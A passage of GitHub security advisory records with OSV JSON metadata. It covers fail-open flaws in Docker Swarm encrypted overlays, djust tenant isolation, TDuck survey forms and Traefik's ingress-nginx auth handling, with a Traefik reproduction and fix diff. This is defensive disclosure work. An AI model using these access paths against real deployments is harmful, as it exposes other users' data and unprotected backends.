This rule is not created when xt_u32 is unavailable, even though the container is still attached to the network.
Impact
Encrypted overlay networks on affected platforms silently transmit unencrypted data. As a result, overlay networks may appear to be functional, passing traffic as expected, but without any of the expected confidentiality or data integrity guarantees.
It is possible for an attacker sitting in a trusted position on the network to read all of the application traffic that is moving across the overlay network, resulting in unexpected secrets or user data disclosure. Thus, because many database protocols, internal APIs, etc. are not protected by a second layer of encryption, a user may rely on Swarm encrypted overlay networks to provide confidentiality, which due to this vulnerability is no longer guaranteed.
Patches
Patches are available in Moby releases 23.0.3, and 20.10.24. As Mirantis Container Runtime's 20.10 releases are numbered differently, users of that platform should update to 20.10.16.
Workarounds
- Close the VXLAN port (by default, UDP port 4789) to outgoing traffic at the Internet boundary (see GHSA-vwm3-crmr-xfxw) in order to prevent unintentionally leaking unencrypted traffic over the Internet.
- Ensure that the
xt_u32kernel module is available on all nodes of the Swarm cluster.
Background
- #43382 partially discussed this concern, but did not consider the security implications.
- Mirantis FIELD-5788 essentially duplicates #43382, and was created six months earlier; it similarly overlooked the security implications.
- #45118 is the ancestor of the final patches, and was where the security implications were discovered.
Related
- CVE-2023-28840: Encrypted overlay network may be unauthenticated
- CVE-2023-28842: Encrypted overlay network with a single endpoint is unauthenticated
- GHSA-vwm3-crmr-xfxw: The Swarm VXLAN port may be exposed to attack due to ambiguous documentation
- GHSA-gvm4-2qqg-m333: Security issues in encrypted overlay networks (libnetwork)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "1.12.0"
},
{
"fixed": "20.10.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/docker/docker"
},
"ranges": [
{
"events": [
{
"introduced": "23.0.0"
},
{
"fixed": "23.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-28841"
],
"database_specific": {
"cwe_ids": [
"CWE-311",
"CWE-636"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-04T21:12:20Z",
"nvd_published_at": "2023-04-04T22:15:00Z",
"severity": "MODERATE"
},
"details": "[Moby](https://mobyproject.org/) is an open source container framework developed by Docker Inc. that is distributed as Docker, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component (`dockerd`), which is developed as [moby/moby](https://github.com/moby/moby) is commonly referred to as *Docker*.\n\nSwarm Mode, which is compiled in and delivered by default in `dockerd` and is thus present in most major Moby downstreams, is a simple, built-in container orchestrator that is implemented through a combination of [SwarmKit](https://github.com/moby/swarmkit) and supporting network code.\n\nThe `overlay` network driver is a core feature of Swarm Mode, providing isolated virtual LANs that allow communication between containers and services across the cluster. This driver is an implementation/user of [VXLAN](https://en.wikipedia.org/wiki/Virtual_Extensible_LAN), which encapsulates link-layer (Ethernet) frames in UDP datagrams that tag the frame with a VXLAN Network ID (VNI) that identifies the originating overlay network. In addition, the overlay network driver supports an optional, off-by-default encrypted mode, which is especially useful when VXLAN packets traverses an untrusted network between nodes.\n\nEncrypted overlay networks function by encapsulating the VXLAN datagrams through the use of the [IPsec Encapsulating Security Payload](https://en.wikipedia.org/wiki/IPsec#Encapsulating_Security_Payload) protocol in [Transport mode](https://en.wikipedia.org/wiki/IPsec#Transport_mode). By deploying IPSec encapsulation, encrypted overlay networks gain the additional properties of source authentication through cryptographic proof, data integrity through check-summing, and confidentiality through encryption.\n\nWhen setting an endpoint up on an encrypted overlay network, Moby installs three [iptables](https://www.netfilter.org/projects/iptables/index.html) (Linux kernel firewall) rules that enforce both incoming and outgoing IPSec. These rules rely on the `u32` iptables extension provided by the `xt_u32` kernel module to directly filter on a VXLAN packet\u0027s VNI field, so that IPSec guarantees can be enforced on encrypted overlay networks without interfering with other overlay networks or other users of VXLAN.\n\nAn [iptables rule](https://github.com/moby/libnetwork/blob/d9fae4c73daf76c3b0f77e14b45b8bf612ba764d/drivers/overlay/encryption.go#L205-L207) designates outgoing VXLAN datagrams with a VNI that corresponds to an encrypted overlay network for IPsec encapsulation.\n\nOn Red Hat Enterprise Linux and derivatives such as CentOS and Rocky, the `xt_u32` module has been:\n* [moved to the kernel-modules-extra package and no longer installed by default in RHEL 8.3](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/8.3_release_notes/rhel-8-3-0-release#technology-preview_networking)\n* [officially deprecated in RHEL 8.6](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/8.6_release_notes/deprecated_functionality#deprecated-functionality_networking)\n* [removed completely in RHEL 9](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/9/html/considerations_in_adopting_rhel_9/assembly_networking_considerations-in-adopting-rhel-9#ref_firewall-networking_assembly_networking)\n\nThis rule is not created when `xt_u32` is unavailable, even though the container is still attached to the network.\n\n## Impact\nEncrypted overlay networks on affected platforms silently transmit unencrypted data. As a result, `overlay` networks may appear to be functional, passing traffic as expected, but without any of the expected confidentiality or data integrity guarantees.\n\nIt is possible for an attacker sitting in a trusted position on the network to read all of the application traffic that is moving across the overlay network, resulting in unexpected secrets or user data disclosure. Thus, because many database protocols, internal APIs, etc. are not protected by a second layer of encryption, a user may rely on Swarm encrypted overlay networks to provide confidentiality, which due to this vulnerability is no longer guaranteed.\n\n## Patches\nPatches are available in Moby releases 23.0.3, and 20.10.24. As Mirantis Container Runtime\u0027s 20.10 releases are numbered differently, users of that platform should update to 20.10.16.\n\n## Workarounds\n* Close the VXLAN port (by default, UDP port 4789) to outgoing traffic at the Internet boundary (see [GHSA-vwm3-crmr-xfxw](https://github.com/moby/moby/security/advisories/GHSA-vwm3-crmr-xfxw)) in order to prevent unintentionally leaking unencrypted traffic over the Internet.\n* Ensure that the `xt_u32` kernel module is available on all nodes of the Swarm cluster.\n\n## Background\n* [#43382 ](https://github.com/moby/moby/issues/43382)partially discussed this concern, but did not consider the security implications.\n* Mirantis FIELD-5788 essentially duplicates [#43382](https://github.com/moby/moby/issues/43382), and was created six months earlier; it similarly overlooked the security implications.\n* [#45118](https://github.com/moby/moby/pull/45118) is the ancestor of the final patches, and was where the security implications were discovered.\n\n## Related\n* [CVE-2023-28840: Encrypted overlay network may be unauthenticated](https://github.com/moby/moby/security/advisories/GHSA-232p-vwff-86mp)\n* [CVE-2023-28842: Encrypted overlay network with a single endpoint is unauthenticated](https://github.com/moby/moby/security/advisories/GHSA-6wrf-mxfj-pf5p)\n* [GHSA-vwm3-crmr-xfxw: The Swarm VXLAN port may be exposed to attack due to ambiguous documentation](https://github.com/moby/moby/security/advisories/GHSA-vwm3-crmr-xfxw)\n* [GHSA-gvm4-2qqg-m333: Security issues in encrypted overlay networks](https://github.com/moby/libnetwork/security/advisories/GHSA-gvm4-2qqg-m333) (libnetwork)",
"id": "GHSA-33pg-m6jh-5237",
"modified": "2023-04-05T23:16:54Z",
"published": "2023-04-04T21:12:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/moby/libnetwork/security/advisories/GHSA-gvm4-2qqg-m333"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/security/advisories/GHSA-232p-vwff-86mp"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/security/advisories/GHSA-33pg-m6jh-5237"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/security/advisories/GHSA-6wrf-mxfj-pf5p"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/security/advisories/GHSA-vwm3-crmr-xfxw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28841"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/issues/43382"
},
{
"type": "WEB",
"url": "https://github.com/moby/moby/pull/45118"
},
{
"type": "WEB",
"url": "https://github.com/moby/libnetwork/blob/d9fae4c73daf76c3b0f77e14b45b8bf612ba764d/drivers/overlay/encryption.go#L205-L207"
},
{
"type": "PACKAGE",
"url": "https://github.com/moby/moby"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Docker Swarm encrypted overlay network traffic may be unencrypted"
}
GHSA-3492-CVG7-9MR2
Vulnerability from github – Published: 2026-09-16 15:32 – Updated: 2026-09-16 15:32Impact
djust.tenants isolation was enforced only on the HTTP path. The current tenant was stored in threading.local() and set exclusively by the HTTP-only TenantMiddleware, so on the live (WebSocket/SSE) path get_current_tenant() was always None during mount and every event handler — and the tenant-aware QuerySet manager failed OPEN (returned the unfiltered queryset, ignoring STRICT_MODE), disclosing every tenant's rows to whoever held the socket. threading.local was additionally shared across connections on the sync_to_async executor thread.
Patches
Fixed in djust 1.0.7. Tenant storage moved to a contextvars.ContextVar (per async task); the resolved tenant is bound around WS/SSE mount and every dispatch; both managers scope the base queryset once and fail CLOSED (.none() under the default STRICT_MODE); and system check S006 warns when STRICT_MODE=False.
Workarounds
No workaround on the live path short of upgrading.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "djust"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61595"
],
"database_specific": {
"cwe_ids": [
"CWE-636",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-16T15:32:10Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n`djust.tenants` isolation was enforced only on the HTTP path. The current tenant was stored in `threading.local()` and set exclusively by the HTTP-only `TenantMiddleware`, so on the live (WebSocket/SSE) path `get_current_tenant()` was always `None` during mount and every event handler \u2014 and the tenant-aware `QuerySet` manager failed **OPEN** (returned the unfiltered queryset, ignoring `STRICT_MODE`), disclosing **every** tenant\u0027s rows to whoever held the socket. `threading.local` was additionally shared across connections on the `sync_to_async` executor thread.\n\n### Patches\nFixed in **djust 1.0.7**. Tenant storage moved to a `contextvars.ContextVar` (per async task); the resolved tenant is bound around WS/SSE mount and every dispatch; both managers scope the base queryset once and fail **CLOSED** (`.none()` under the default `STRICT_MODE`); and system check **S006** warns when `STRICT_MODE=False`.\n\n### Workarounds\nNo workaround on the live path short of upgrading.",
"id": "GHSA-3492-cvg7-9mr2",
"modified": "2026-09-16T15:32:10Z",
"published": "2026-09-16T15:32:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/djust-org/djust/security/advisories/GHSA-3492-cvg7-9mr2"
},
{
"type": "PACKAGE",
"url": "https://github.com/djust-org/djust"
},
{
"type": "WEB",
"url": "https://github.com/djust-org/djust/releases/tag/v1.0.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "djust: Multi-tenant isolation fails open on the WebSocket/SSE path, disclosing other tenants\u0027 data"
}
GHSA-3HHG-8CHJ-HH93
Vulnerability from github – Published: 2026-09-25 21:33 – Updated: 2026-09-25 21:33TDuck survey form 6.0 contains an information disclosure vulnerability in FormAuthUtils.hasPermission that fails open when a form does not exist, allowing authenticated users to access deleted form submissions. Attackers can read orphaned submission data including personal information by providing a known dataId to the GET /user/form/data/details endpoint after the form has been permanently deleted.
{
"affected": [],
"aliases": [
"CVE-2026-100304"
],
"database_specific": {
"cwe_ids": [
"CWE-636"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-25T19:16:50Z",
"severity": "MODERATE"
},
"details": "TDuck survey form 6.0 contains an information disclosure vulnerability in FormAuthUtils.hasPermission that fails open when a form does not exist, allowing authenticated users to access deleted form submissions. Attackers can read orphaned submission data including personal information by providing a known dataId to the GET /user/form/data/details endpoint after the form has been permanently deleted.",
"id": "GHSA-3hhg-8chj-hh93",
"modified": "2026-09-25T21:33:00Z",
"published": "2026-09-25T21:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100304"
},
{
"type": "WEB",
"url": "https://github.com/LinYuanyi1/cve-request-poc/blob/adffc39b78cad18cd489cbf7454853bf0f744b7f/tduck/poc_form_data_details_orphan.py"
},
{
"type": "WEB",
"url": "https://github.com/TDuckCloud/tduck-survey-form"
},
{
"type": "WEB",
"url": "https://github.com/TDuckCloud/tduck-survey-form/blob/43ffa9c993e38936fc4de7d8e5aee82bbaa19502/tduck-api/src/main/java/com/tduck/cloud/api/web/controller/UserFormController.java#L451-L459"
},
{
"type": "WEB",
"url": "https://github.com/TDuckCloud/tduck-survey-form/blob/43ffa9c993e38936fc4de7d8e5aee82bbaa19502/tduck-form/src/main/java/com/tduck/cloud/form/service/impl/UserFormDataServiceImpl.java#L169-L187"
},
{
"type": "WEB",
"url": "https://github.com/TDuckCloud/tduck-survey-form/blob/43ffa9c993e38936fc4de7d8e5aee82bbaa19502/tduck-form/src/main/java/com/tduck/cloud/form/util/FormAuthUtils.java#L25-L39"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/tduck-survey-form-6.0-information-disclosure-via-fail-open-form-ownership-check"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4MR2-FG2P-W63C
Vulnerability from github – Published: 2026-06-19 21:15 – Updated: 2026-07-20 21:13Summary
There is a medium severity vulnerability in Traefik's Kubernetes Ingress NGINX provider that causes affected routes to fail open. When an Ingress explicitly enables BasicAuth or DigestAuth through the supported nginx.ingress.kubernetes.io/auth-type and auth-secret annotations, but the referenced auth Secret cannot be resolved or parsed, Traefik logs the resolution error, skips installing the authentication middleware, and still emits a router to the backend service. A route that operators intended to protect is therefore published to the data plane without its authentication control, allowing unauthenticated access to the backend. The trigger is an invalid or unresolved auth dependency — a missing, malformed, unreadable, or policy-denied Secret — rather than an intentionally unprotected route.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.5
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ### Summary Traefik's Kubernetes Ingress NGINX provider can fail open for routes that explicitly configure BasicAuth or DigestAuth through supported ingress-nginx annotations. When an Ingress contains `nginx.ingress.kubernetes.io/auth-type: basic` or `digest`, but the referenced `nginx.ingress.kubernetes.io/auth-secret` cannot be resolved or parsed, Traefik logs the auth resolution error, skips installing the BasicAuth/DigestAuth middleware, and still emits a router to the backend service. This can expose a route that operators intended to protect. The issue is not that an invalid Secret exists; the issue is that an explicitly auth-protected Ingress location is translated into a live backend route where the authentication control is removed from the generated data-plane configuration, with only a controller log entry, instead of failing closed. Tested affected versions: - Current `master`: `29406d42898547f1ffabd904f66af06c212740cf` - Latest tag tested by me: `v3.7.1` / `fa49e2bcad7ffd8a80accdf1fae1ae480913d93d` The KubernetesIngressNGINX provider is documented as no longer experimental as of v3.6.2, and the `auth-type`, `auth-secret`, `auth-secret-type`, and `auth-realm` annotations are documented supported annotations. ### Details The root cause is in `pkg/provider/kubernetes/ingress-nginx/build.go`. During provider translation, auth is pre-resolved for each location:if ing.config.AuthType != nil {
basic, digest, err := p.resolveBasicAuth(ing.Namespace, ing.config)
if err != nil {
logger.Error().
Err(err).
Str("ingress", fmt.Sprintf("%s/%s rule-%d path-%d", ing.Namespace, ing.Name, ri, pi)).
Msg("Cannot resolve auth secret, skipping auth middleware")
} else {
loc.BasicAuth = basic
loc.DigestAuth = digest
}
}
The error is logged, but `loc.Error` is not set. Later, `pkg/provider/kubernetes/ingress-nginx/translator.go` only routes to `unavailable-service` when `loc.Error` is true. Since this auth error leaves `loc.Error` false, the generated router continues to use the real backend service, and `applyMiddlewares` has no BasicAuth/DigestAuth middleware to attach.
This differs from nearby fail-closed behavior for comparable provider translation failures:
- `auth-tls-secret` resolution failure skips the affected ingress.
- `custom-headers` ConfigMap resolution failure sets `loc.Error = true`, causing the translator to avoid normal backend exposure.
Security invariant:
> If an Ingress location explicitly configures BasicAuth/DigestAuth, Traefik should not forward that location to the backend unless the corresponding auth middleware is installed.
Reasonable fail-closed behaviors would include omitting the router, routing it to `unavailable-service`, returning 503, or attaching a deny-all middleware until the auth dependency is valid.
### Expected behavior
An Ingress location with explicit `auth-type: basic` or `auth-type: digest` must not forward requests to the backend unless the generated Traefik router has the corresponding BasicAuth/DigestAuth middleware attached.
If the referenced auth Secret is missing, malformed, unreadable, denied by namespace policy, or otherwise unusable, Traefik should fail closed for that location.
### Actual behavior
When `auth-secret` resolution fails, Traefik still creates a router to the backend service and only omits the BasicAuth/DigestAuth middleware. The only indication is a controller log entry:
Cannot resolve auth secret, skipping auth middleware
### PoC
I reproduced this with a clean fake Kubernetes provider state. The reproduction does not use Docker provider labels, dashboard/API routing, lab backends, or public network targets.
Minimal Kubernetes objects:
- `IngressClass` named `nginx` with controller `k8s.io/ingress-nginx`
- `Service` named `whoami` in namespace `default`
- `EndpointSlice` for the `whoami` service
- `Ingress` with `ingressClassName: nginx`, a backend pointing to `whoami`, and these annotations:
nginx.ingress.kubernetes.io/auth-type: "basic"
nginx.ingress.kubernetes.io/auth-secret-type: "auth-file"
nginx.ingress.kubernetes.io/auth-secret: "default/missing-basic-auth"
The referenced Secret intentionally does not exist. The expected secure behavior is fail-closed for this auth-configured route. The observed behavior is a normal router to the backend without BasicAuth/DigestAuth.
Key failing assertion from the regression harness:
router forwards to backend service without BasicAuth/DigestAuth when auth-secret is missing; middlewares=[default-auth-missing-secret-rule-0-path-0-retry] service="default-auth-missing-secret-whoami-80"
The same behavior reproduces on both current `master` and `v3.7.1`.
I also tested a matrix of auth-secret resolution failures. In each error case, Traefik still emitted the backend router without BasicAuth/DigestAuth:
- missing `auth-secret`
- omitted/empty `auth-secret`
- invalid `auth-secret-type`
- `auth-file` Secret missing the required `auth` key
- empty `auth-map` Secret
- missing DigestAuth Secret
- cross-namespace `auth-secret` denied by default policy
The same matrix includes a positive control where a valid `auth-file` Secret correctly attaches BasicAuth, confirming that the harness is exercising the intended provider path.
I also performed a clean-room revalidation from fresh `git archive` source trees for both source/master and v3.7.1. Only the two minimal test harnesses were copied into each archived source tree. This avoided contamination from lab compose files, Docker provider state, dashboard/API routes, prior source-tree test files, or running lab backends.
### Threat model
This does not require an attacker to modify Traefik static configuration or Traefik process state. The relevant security boundary is the Kubernetes-declared route policy: an Ingress explicitly declares BasicAuth/DigestAuth, but Traefik publishes the data-plane route without that control when the auth dependency is invalid.
In multi-tenant or GitOps-managed clusters, the actor or automation that can affect Secret existence, Secret contents, namespace policy, or deployment ordering is not necessarily the same actor that owns the protected backend or Traefik deployment. As a result, a mistake, rollback, pruning job, policy change, or compromise limited to Kubernetes application resources can remove the effective auth boundary while the Ingress continues to declare that auth is required.
### Impact
This is a fail-open authentication control issue leading to unintended unauthenticated route exposure.
The trigger is an invalid or unresolved auth dependency, but the security consequence is a data-plane route that violates explicit auth intent. This is materially different from intentionally deploying an unprotected route: the Ingress declares `auth-type: basic` or `digest`, yet Traefik publishes the backend without the corresponding auth middleware.
Realistic scenarios include:
- GitOps, Helm, or CI/CD deploys Ingress and Secret resources separately. Ordering issues, rollbacks, pruning, or typos can leave the Ingress active while the auth Secret is absent or unreadable.
- Kubernetes RBAC commonly separates ownership of Ingress objects, Secrets, and namespace policies. A lower-privileged namespace actor or deployment automation may be able to affect the referenced Secret or cross-namespace reference outcome without having direct access to Traefik static configuration.
- During ingress-nginx migration, operators reasonably expect supported `nginx.ingress.kubernetes.io/auth-*` annotations to preserve the authentication boundary. Publishing the backend without auth is a worse failure mode than rejecting the invalid location.
- A transient Secret deletion, malformed Secret update, or policy change can turn an already protected route into an unprotected route without changing the Ingress rule itself.
Controller logs are not a sufficient mitigation. Logs do not prevent exposure, may not page the service owner, and the first externally visible symptom can be unauthenticated access to the protected backend.
### Suggested remediation
Fail closed on any `resolveBasicAuth` error. A minimal tested change is to mark the location as errored:
if err != nil {
logger.Error().
Err(err).
Str("ingress", fmt.Sprintf("%s/%s rule-%d path-%d", ing.Namespace, ing.Name, ri, pi)).
Msg("Cannot resolve auth secret, skipping auth middleware")
+ loc.Error = true
} else {
This reuses the existing `loc.Error` / `unavailable-service` path. In my local validation, this change made the no-backend-without-auth regression pass while preserving the valid-secret positive control.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.7.4"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-ea.1"
},
{
"fixed": "3.7.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54762"
],
"database_specific": {
"cwe_ids": [
"CWE-636",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:15:56Z",
"nvd_published_at": "2026-06-23T20:16:49Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThere is a medium severity vulnerability in Traefik\u0027s Kubernetes Ingress NGINX provider that causes affected routes to fail open. When an Ingress explicitly enables BasicAuth or DigestAuth through the supported `nginx.ingress.kubernetes.io/auth-type` and `auth-secret` annotations, but the referenced auth Secret cannot be resolved or parsed, Traefik logs the resolution error, skips installing the authentication middleware, and still emits a router to the backend service. A route that operators intended to protect is therefore published to the data plane without its authentication control, allowing unauthenticated access to the backend. The trigger is an invalid or unresolved auth dependency \u2014 a missing, malformed, unreadable, or policy-denied Secret \u2014 rather than an intentionally unprotected route.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.5\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nTraefik\u0027s Kubernetes Ingress NGINX provider can fail open for routes that explicitly configure BasicAuth or DigestAuth through supported ingress-nginx annotations.\n\nWhen an Ingress contains `nginx.ingress.kubernetes.io/auth-type: basic` or `digest`, but the referenced `nginx.ingress.kubernetes.io/auth-secret` cannot be resolved or parsed, Traefik logs the auth resolution error, skips installing the BasicAuth/DigestAuth middleware, and still emits a router to the backend service.\n\nThis can expose a route that operators intended to protect. The issue is not that an invalid Secret exists; the issue is that an explicitly auth-protected Ingress location is translated into a live backend route where the authentication control is removed from the generated data-plane configuration, with only a controller log entry, instead of failing closed.\n\nTested affected versions:\n\n- Current `master`: `29406d42898547f1ffabd904f66af06c212740cf`\n- Latest tag tested by me: `v3.7.1` / `fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`\n\nThe KubernetesIngressNGINX provider is documented as no longer experimental as of v3.6.2, and the `auth-type`, `auth-secret`, `auth-secret-type`, and `auth-realm` annotations are documented supported annotations.\n\n### Details\n\nThe root cause is in `pkg/provider/kubernetes/ingress-nginx/build.go`. During provider translation, auth is pre-resolved for each location:\n\n```go\nif ing.config.AuthType != nil {\n basic, digest, err := p.resolveBasicAuth(ing.Namespace, ing.config)\n if err != nil {\n logger.Error().\n Err(err).\n Str(\"ingress\", fmt.Sprintf(\"%s/%s rule-%d path-%d\", ing.Namespace, ing.Name, ri, pi)).\n Msg(\"Cannot resolve auth secret, skipping auth middleware\")\n } else {\n loc.BasicAuth = basic\n loc.DigestAuth = digest\n }\n}\n```\n\nThe error is logged, but `loc.Error` is not set. Later, `pkg/provider/kubernetes/ingress-nginx/translator.go` only routes to `unavailable-service` when `loc.Error` is true. Since this auth error leaves `loc.Error` false, the generated router continues to use the real backend service, and `applyMiddlewares` has no BasicAuth/DigestAuth middleware to attach.\n\nThis differs from nearby fail-closed behavior for comparable provider translation failures:\n\n- `auth-tls-secret` resolution failure skips the affected ingress.\n- `custom-headers` ConfigMap resolution failure sets `loc.Error = true`, causing the translator to avoid normal backend exposure.\n\nSecurity invariant:\n\n\u003e If an Ingress location explicitly configures BasicAuth/DigestAuth, Traefik should not forward that location to the backend unless the corresponding auth middleware is installed.\n\nReasonable fail-closed behaviors would include omitting the router, routing it to `unavailable-service`, returning 503, or attaching a deny-all middleware until the auth dependency is valid.\n\n### Expected behavior\n\nAn Ingress location with explicit `auth-type: basic` or `auth-type: digest` must not forward requests to the backend unless the generated Traefik router has the corresponding BasicAuth/DigestAuth middleware attached.\n\nIf the referenced auth Secret is missing, malformed, unreadable, denied by namespace policy, or otherwise unusable, Traefik should fail closed for that location.\n\n### Actual behavior\n\nWhen `auth-secret` resolution fails, Traefik still creates a router to the backend service and only omits the BasicAuth/DigestAuth middleware. The only indication is a controller log entry:\n\n```text\nCannot resolve auth secret, skipping auth middleware\n```\n\n### PoC\n\nI reproduced this with a clean fake Kubernetes provider state. The reproduction does not use Docker provider labels, dashboard/API routing, lab backends, or public network targets.\n\nMinimal Kubernetes objects:\n\n- `IngressClass` named `nginx` with controller `k8s.io/ingress-nginx`\n- `Service` named `whoami` in namespace `default`\n- `EndpointSlice` for the `whoami` service\n- `Ingress` with `ingressClassName: nginx`, a backend pointing to `whoami`, and these annotations:\n\n```yaml\nnginx.ingress.kubernetes.io/auth-type: \"basic\"\nnginx.ingress.kubernetes.io/auth-secret-type: \"auth-file\"\nnginx.ingress.kubernetes.io/auth-secret: \"default/missing-basic-auth\"\n```\n\nThe referenced Secret intentionally does not exist. The expected secure behavior is fail-closed for this auth-configured route. The observed behavior is a normal router to the backend without BasicAuth/DigestAuth.\n\nKey failing assertion from the regression harness:\n\n```text\nrouter forwards to backend service without BasicAuth/DigestAuth when auth-secret is missing; middlewares=[default-auth-missing-secret-rule-0-path-0-retry] service=\"default-auth-missing-secret-whoami-80\"\n```\n\nThe same behavior reproduces on both current `master` and `v3.7.1`.\n\nI also tested a matrix of auth-secret resolution failures. In each error case, Traefik still emitted the backend router without BasicAuth/DigestAuth:\n\n- missing `auth-secret`\n- omitted/empty `auth-secret`\n- invalid `auth-secret-type`\n- `auth-file` Secret missing the required `auth` key\n- empty `auth-map` Secret\n- missing DigestAuth Secret\n- cross-namespace `auth-secret` denied by default policy\n\nThe same matrix includes a positive control where a valid `auth-file` Secret correctly attaches BasicAuth, confirming that the harness is exercising the intended provider path.\n\nI also performed a clean-room revalidation from fresh `git archive` source trees for both source/master and v3.7.1. Only the two minimal test harnesses were copied into each archived source tree. This avoided contamination from lab compose files, Docker provider state, dashboard/API routes, prior source-tree test files, or running lab backends.\n\n### Threat model\n\nThis does not require an attacker to modify Traefik static configuration or Traefik process state. The relevant security boundary is the Kubernetes-declared route policy: an Ingress explicitly declares BasicAuth/DigestAuth, but Traefik publishes the data-plane route without that control when the auth dependency is invalid.\n\nIn multi-tenant or GitOps-managed clusters, the actor or automation that can affect Secret existence, Secret contents, namespace policy, or deployment ordering is not necessarily the same actor that owns the protected backend or Traefik deployment. As a result, a mistake, rollback, pruning job, policy change, or compromise limited to Kubernetes application resources can remove the effective auth boundary while the Ingress continues to declare that auth is required.\n\n### Impact\n\nThis is a fail-open authentication control issue leading to unintended unauthenticated route exposure.\n\nThe trigger is an invalid or unresolved auth dependency, but the security consequence is a data-plane route that violates explicit auth intent. This is materially different from intentionally deploying an unprotected route: the Ingress declares `auth-type: basic` or `digest`, yet Traefik publishes the backend without the corresponding auth middleware.\n\nRealistic scenarios include:\n\n- GitOps, Helm, or CI/CD deploys Ingress and Secret resources separately. Ordering issues, rollbacks, pruning, or typos can leave the Ingress active while the auth Secret is absent or unreadable.\n- Kubernetes RBAC commonly separates ownership of Ingress objects, Secrets, and namespace policies. A lower-privileged namespace actor or deployment automation may be able to affect the referenced Secret or cross-namespace reference outcome without having direct access to Traefik static configuration.\n- During ingress-nginx migration, operators reasonably expect supported `nginx.ingress.kubernetes.io/auth-*` annotations to preserve the authentication boundary. Publishing the backend without auth is a worse failure mode than rejecting the invalid location.\n- A transient Secret deletion, malformed Secret update, or policy change can turn an already protected route into an unprotected route without changing the Ingress rule itself.\n\nController logs are not a sufficient mitigation. Logs do not prevent exposure, may not page the service owner, and the first externally visible symptom can be unauthenticated access to the protected backend.\n\n### Suggested remediation\n\nFail closed on any `resolveBasicAuth` error. A minimal tested change is to mark the location as errored:\n\n```diff\n if err != nil {\n logger.Error().\n Err(err).\n Str(\"ingress\", fmt.Sprintf(\"%s/%s rule-%d path-%d\", ing.Namespace, ing.Name, ri, pi)).\n Msg(\"Cannot resolve auth secret, skipping auth middleware\")\n+ loc.Error = true\n } else {\n```\n\nThis reuses the existing `loc.Error` / `unavailable-service` path. In my local validation, this change made the no-backend-without-auth regression pass while preserving the valid-secret positive control.\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-4mr2-fg2p-w63c",
"modified": "2026-07-20T21:13:42Z",
"published": "2026-06-19T21:15:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-4mr2-fg2p-w63c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54762"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
